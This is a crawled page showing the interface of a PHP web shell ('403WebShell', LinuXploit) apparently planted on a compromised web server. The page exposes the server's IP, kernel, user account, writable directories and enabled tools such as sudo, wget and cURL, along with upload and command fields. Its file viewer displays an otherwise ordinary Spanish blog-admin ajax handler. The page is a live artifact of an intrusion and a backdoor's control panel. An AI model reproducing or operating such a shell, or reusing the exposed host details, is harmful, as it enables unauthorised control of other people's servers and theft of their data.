Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/admin/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/admin/ajax/ajax_blog.php
<?php
/**
 * ajax?blog.php
 * Controlling ajax calls for blog
 */

if(!isset($db)){
	require_once('../../system/bootstrap.php');
}
$blog = new AdminModelBlog($registry);
/*/UPDATE USER/*/
if(isset($_POST['update_post'])){
	//print_r($_POST['ajax_content']);exit;
	$_POST['ajax_content'] = html_entity_decode($_POST['ajax_content']);
	$update_post = $blog->updatePost($_POST);
	$update_post == 1 ? 
	$response = '<div class="alert alert-success">Se ha actualizado la entrada en la base de datos</div>' : 
	$response = '<div class="alert alert-danger">Hubo un error al actualizar la base de datos</div>';
	
	echo $response;
	exit;		
}
/*/ADD POST/*/
if(isset($_POST['add_post'])){
		$_POST['ajax_content'] = html_entity_decode($_POST['ajax_content']);
		$add_post = $blog->addPost($_POST);
		$add_post == 1 ? 
		$response = '<div class="alert alert-success">Se ha agregado la entrada a la base de Datos</div>' : 
		$response = '<div class="alert alert-danger">Hubo un error al agregar la entrada</div>';
	echo $response;
	exit;
}

if(isset($_POST['do_url'])){
	
	$url = $utility->stripAccents($_POST['title']);
	$url = preg_replace("![^a-z0-9]+!i", "-", $url);
	$url = strtolower($url);
	echo $url;
	//exit;
}
if(isset($_POST['form_excerpt'])){
	$content	= html_entity_decode($_POST['content']);
	$content	= trim(preg_replace("/[\r\n]+/", "\n", $content));
	$content 	= strip_tags($content);
	//$content	= preg_replace("/&#?[a-z0-9]+;/i","",$content); 
	//$resume = truncate($content,205);
	$resume = $utility->truncate($content,140);
	/**
	 * Lowercase and Capitalize
	 * se pidio removerlo 03/02/2016
	 * se comento
	 */
	//$resume = ucfirst(strtolower($resume));
	echo $resume;
	exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit